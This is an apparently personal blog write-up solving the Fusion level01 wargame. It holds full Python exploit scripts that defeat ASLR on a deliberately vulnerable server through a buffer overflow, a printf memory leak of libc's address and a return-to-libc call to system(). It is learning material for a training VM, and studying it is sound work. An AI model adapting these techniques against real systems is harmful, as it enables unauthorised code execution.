Fusion 1

Ok, so we are done with Fusion0. And now to Fusion1, conveniently The source code for Fusion1 is the same as the code for Fusion0, the only new thing is that now we have an active ASLR (Address space layout randomization)  that we need to break.

Lets start with the code from Fusion 0, If you do not understand it please go back to Fusion 0 🙂

#! /usr/bin/env python 
import socket 
import struct 
 
PORT = 20000 
HOST = "VM" 
 
def get_commands(): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 139 
 padding = "a" * padding_length 
 ADDRESS_OF_SYSTEM = 0xb76bab1f 
 ADDRESS_OF_EXIT = 0xb76b09e0 
 ADDERSS_OF_BASH_LINE = 0xbf879cee 
 BASH_LINE = "touch /tmp/a; " 
 payload = struct.pack("I", ADDRESS_OF_SYSTEM ) + struct.pack("I", ADDRESS_OF_EXIT) + struct.pack("I", ADDERSS_OF_BASH_LINE)
 return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def main(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 commands = get_commands() 
 for c in commands: 
   print "Sending:\"%s\"" % (c, ) 
   s.send(c, len(c)) 
   print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
 main() 

Game plan:

  1. Make sure our solution for fusion0 still works when we know the address.
  2. Think about how to “know” the address

First let’s understand on what addresses our solution of fusion-0. From reading our script, its clear that we relay on “ADDRESS_OF_SYSTEM”, “ADDRESS_OF_EXIT”, and “ADDRESS_OF_BASH_LINE”.

Now let’s see what addresses changed between different runs of the program, we must remember that the server is written as fork server which means that we have one parent server process running and the parent is being “cloned” (actually forked) for each request. Now each of those “clones” (we will call them children) has the same address layout of the parent. It means that in order to test what gets shuffled with ASLR we must use kill the parent program. And restart it:

Connect with gdb to the process, (ASLR is off by default for processes started with gdb).

(gdb) info proc map  
0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level01 
0xb772d000 0xb78a3000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so  
0xb78b6000 0xb78d4000    0x1e000          0       /lib/i386-linux-gnu/ld-2.13.so  
0xbf8ac000 0xbf8cd000    0x21000          0           [stack]  

In Bash:
sudo killall -9 level01 
/opt/fusion/bin/level01

Connect again with gdb:
(gdb) info proc map  
0x8048000  0x804b000     0x3000          0       /opt/fusion/bin/level01
0xb758a000 0xb7700000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so  
0xb7713000 0xb7731000    0x1e000          0       /lib/i386-linux-gnu/ld-2.13.so 
0xbf860000 0xbf881000    0x21000          0           [stack]

Comparing these 2 outputs, we can clearly see that libc, ld, and the stack moved, but the main binary is loaded to the same address. Well, this is good! We can use any address in the main exec and assume it will not move between instances of the server program.

Unfortently, “ADDRESS_OF_SYSTEM” is in libc which moves. And “ADDRESS_OF_BASH_LINE” was on the stack which also moves. So If we want this exploit work and bypass ASLR, we need to find a reliable way to find the address of libc and the stack.  

In order to understand what I am working with, i place a breakpoint in gdb right when the function fix_path should return, run my exploit script from the fusion0, and lets see what happens.

(gdb) info registers 
eax            0x1      1
ecx            0xb772c8d0       -1217214256
edx            0xbf8ca628       -1081301464
ebx            0xb78a4ff4       -1215672332
esp            0xbf8ca61c       0xbf8ca61c
ebp            0x61616161       0x61616161
esi            0xbf8ca6dd       -1081301283
edi            0x8049ed1        134520529
eip            0x8049854        0x8049854 <fix_path+63>

I than reference all of the registers to see if any of them points into a buffer I can control:

(gdb) x/s $eax
0x1:     <Address 0x1 out of bounds>
(gdb) x/s $ebx                                                                                                                   
0xb78a4ff4:      "|}\027"
(gdb) x/s $ecx                                                                                                                   
0xb772c8d0:      "\320\310r\267h\315r\267\320\310r\267"
(gdb) x/s $edx                                                                                                                   
0xbf8ca628:      ""
(gdb) x/s $esi
0xbf8ca6dd:      " touch /tmp/a; ..."
(gdb) x/s $edi                                                                                                                   
0x8049ed1:       ""

Remember how I used distinguishable patterns (Like a long list of ‘a’s ) now its helps us immediately “see” what happens(0x61616161 == “aaaa”). Cool, we control ebp and the value esi is pointing into. Now lets see what we can do with it.

lets see what happens right after fix_path

We can see that printf is being called with the address of the parameter that is represented by “%s” being saved on  ebp. If we will change ebp so that it will point into an address we want to read, we will probably get the content of that address as the value of the %s in “trying to access %s”

Let’s assume I could read wherever I want in the address space of the program, what would I read to understand the ASLR offsets? That’s right, we would read the .got.plt.

The .got.plt is a table of every imported function (and variable) in a binary. Think of the import table if you are more of a windows guy. When the loader loads the process to memory, it writes the addresses of all of the imported functions into the import table. This way the compiled binary can access the imported functions without knowing where the imported dlls (or so files) are in memory.

The index for the table is the constant for the binary, and the value in that index is set in runtime to point to the every function.

We will read the address of a function in libc, and then find all of the functions we need relative to it.

(gdb) x/wx 0x0804b3cc
0x804b3cc <read@got.plt>:       0xb77ee240

We write the code to do it, but nothing happens…

After some debugging I understand that we also overflow the first byte of the return address.

The reason it happens is that the string we are copying is null terminated. To solve it, i will also copy the original return address over itself.

#! /usr/bin/env python 
import socket 
import struct 
 
PORT = 20001 
HOST = "VM" 
 
def basic_overflow_commands(ebp, payload): 
  file_path = "/" 
  pattern = "GET %s%s%s HTTP/1.1 " 
  padding_length = 135 
  padding = "a" * padding_length + struct.pack("I", ebp) 
  BASH_LINE = "touch /tmp/a; " 
  return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def get_address_of_libc(): 
  address_to_read = 0x8048a32 
  fix_path_return_address = struct.pack("I", 0x8049959) 
  commands = basic_overflow_commands(address_to_read + 0xc, fix_path_return_address)
  return commands 
 
def main(): 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((HOST, PORT)) 
  commands = get_address_of_libc() 
  for c in commands: 
    print "Sending:\"%s\"" % (c, ) 
    s.send(c, len(c)) 
    print "Reciving:\"%s\"" % (s.recv(1000), ) 
  print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
if __name__ == "__main__": 
  main() 

We run it and get:

Reciving:"trying to access `�F@+z� `t�v���`��x�w���|��� ��

                                                          ����|���

See this weird blob of chars in the output? this is what happens when you try to print unprintable chars, we need to encode them as hex in order to be able to read this binary buffer. After some more playing with the script, we have a script that returns the address of libc. 

The function system is in constant offset from the load address of libc. (Constant per version of libc. but we assume that all the binaries on the server remains the same, or else it would be impossible to do anything). Now we have the address of system. Lets figure out how we can pass parameters to it.

Passing a parameter

I opened libc in ida and looked for the function system. Here is what I saw:

The first opcode is saving of stack space for the local variable of the function.

Second opcode is saving the current value of esi

Third opcode copies the parameter to the function into esi. If we will “enter” the function in the 4th opcode, we can pass paramter on esi – which is the only register we control. What a lucy break!

Everything that has changed from fusion 0’s exploit is in red. This time because the address of our parameter is in ESI, we don’t pass it on the stack. We do have to “make room” for 4 parameters that the function defines (instead of the opcode sub esp, 0x10) that we don’t run.

I quickly finish coding it, and try it.

 
import socket 
import struct 
 
PORT = 20001 
HOST = "VM" 
 
def basic_overflow_commands(ebp, payload): 
 file_path = "/" 
 pattern = "GET %s%s%s HTTP/1.1 " 
 padding_length = 135 
 padding = "a" * padding_length + struct.pack("I", ebp) 
 BASH_LINE = "touch /tmp/a; " 
 return [pattern % (file_path, padding, payload) + BASH_LINE] 
 
def get_address_of_libc(): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 address_to_read = 0x8048a32 
 fix_path_return_address = struct.pack("I", 0x8049959) 
 commands = basic_overflow_commands(address_to_read + 0xc, fix_path_return_address)
 for c in commands: 
 print "Sending:\"%s\"" % (c, ) 
 s.send(c, len(c)) 
 data = s.recv(1000) 
 address = data.split(" ")[3] 
 address = address[:4] 
 print address 
 address = struct.unpack("I", address)[0] 
 # This is the offset of open inside the version of libc that we are using. 
 address -= 0xc0b60 
 return address 
 
def exploit(address_of_libc): 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 s.connect((HOST, PORT)) 
 
 # This is the 4th opcode in system, as explained in the blog. 
 address_of_system = struct.pack("I", 0x3cb2b + address_of_libc) 
 address_of_exit = struct.pack("I", 0x329e0 + address_of_libc) 
 payload = address_of_system + "b"*0x10 + address_of_exit 
 commands = basic_overflow_commands(0x13371337, payload) 
 for c in commands: 
 print "Sending:\"%s\"" % (c, ) 
 s.send(c, len(c)) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 print "Reciving:\"%s\"" % (s.recv(1000), ) 
 
 
def main(): 
 address_of_libc = get_address_of_libc() 
 print "libc is at %x" %(address_of_libc, ) 
 exploit(address_of_libc) 
 
if __name__ == "__main__": 
 main() 
$ python fusion1.py 
Sending:"GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa>Y HTTP/1.1 touch /tmp/a; "
`�
libc is at b772d000
Sending:"GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa77+�v�bbbbbbbbbbbbbbbbu� HTTP/1.1 touch /tmp/a; "
Reciving:"touch: "
Reciving:"cannot touch `/tmp/a'"

Sure enough after deleting the file /tmp/a that was created by a different use on the machine, I run the script again and this time it worked!

If you have any questions or feedback I would love to hear from you in the comments below 🙂

Leave a Reply